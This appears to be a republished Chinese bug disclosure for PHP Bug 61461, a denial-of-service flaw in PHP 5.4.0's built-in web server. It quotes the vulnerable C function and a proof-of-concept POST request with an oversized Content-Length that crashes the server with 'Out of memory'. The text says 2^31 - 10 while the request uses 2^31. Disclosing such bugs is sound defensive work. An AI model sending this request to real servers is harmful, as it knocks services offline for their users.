PHP 的 DoS 漏洞,Bug 61461
openkk 13年前
<p>当一个包含大数值 Content-Length 的 HTTP 请求被发送到内建的 PHP web 服务器后,可以触发拒绝服务问题(DoS)。</p> <p><a href="/misc/goto?guid=4958336367665862293" target="_blank">Bug 61461</a><br /> <br /> Content-Length 头的值被直接传入了 premalloc() 函数,在 sapi/cli/php_cli_server.c 第1538行。然后 Zend/zend_alloc.h 的内联函数 malloc() 将报错,终止进程,抛出“Out of memory”错误。<br /> <br /> <span style="font-family:courier new,courier;color:#0000ff;">static int php_cli_server_client_read_request_on_body(php_http_parser *parser, const char *at, size_t length)</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">{</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">php_cli_server_client *client = parser->data;</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">if (!client->request.content) {</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">client->request.content = pemalloc(parser->content_length, 1);</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">client->request.content_len = 0;</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">}</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">memmove(client->request.content + client->request.content_len, at, length);</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">client->request.content_len += length;</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">return 0;</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">}</span><br /> <br /> 把 Content-Length 设置为 2^31 - 10,也就是接近32位系统的上限值,能够重现这个问题。<br /> <br /> <strong>测试脚本:</strong><br /> 下面这个 HTTP 请求将触发这个bug。<br /> <br /> <span style="font-family:courier new,courier;color:#0000ff;">POST / HTTP/1.1</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">Content-Type: application/x-www-form-urlencoded</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">Content-Length: 2147483648</span><br /> <br /> <span style="font-family:courier new,courier;color:#0000ff;">A=B</span><br /> <br /> <strong>正确结果:</strong><br /> 我们预期得到一个有意义的错误信息。<br /> <br /> <span style="font-family:courier new,courier;">Invalid request (Requested Content-Length is larger the allowed limit of XYZ)</span><br /> <br /> <strong>实际结果:</strong><br /> <span style="font-family:courier new,courier;color:#0000ff;">PHP 5.4.0 Development Server started at Tue Mar 20 19:41:45 2012</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">Listening on 127.0.0.1:80</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">Document root is /tmp</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">Press Ctrl-C to quit.</span><br /> <span style="font-family:courier new,courier;color:#0000ff;">Out of memory</span></p>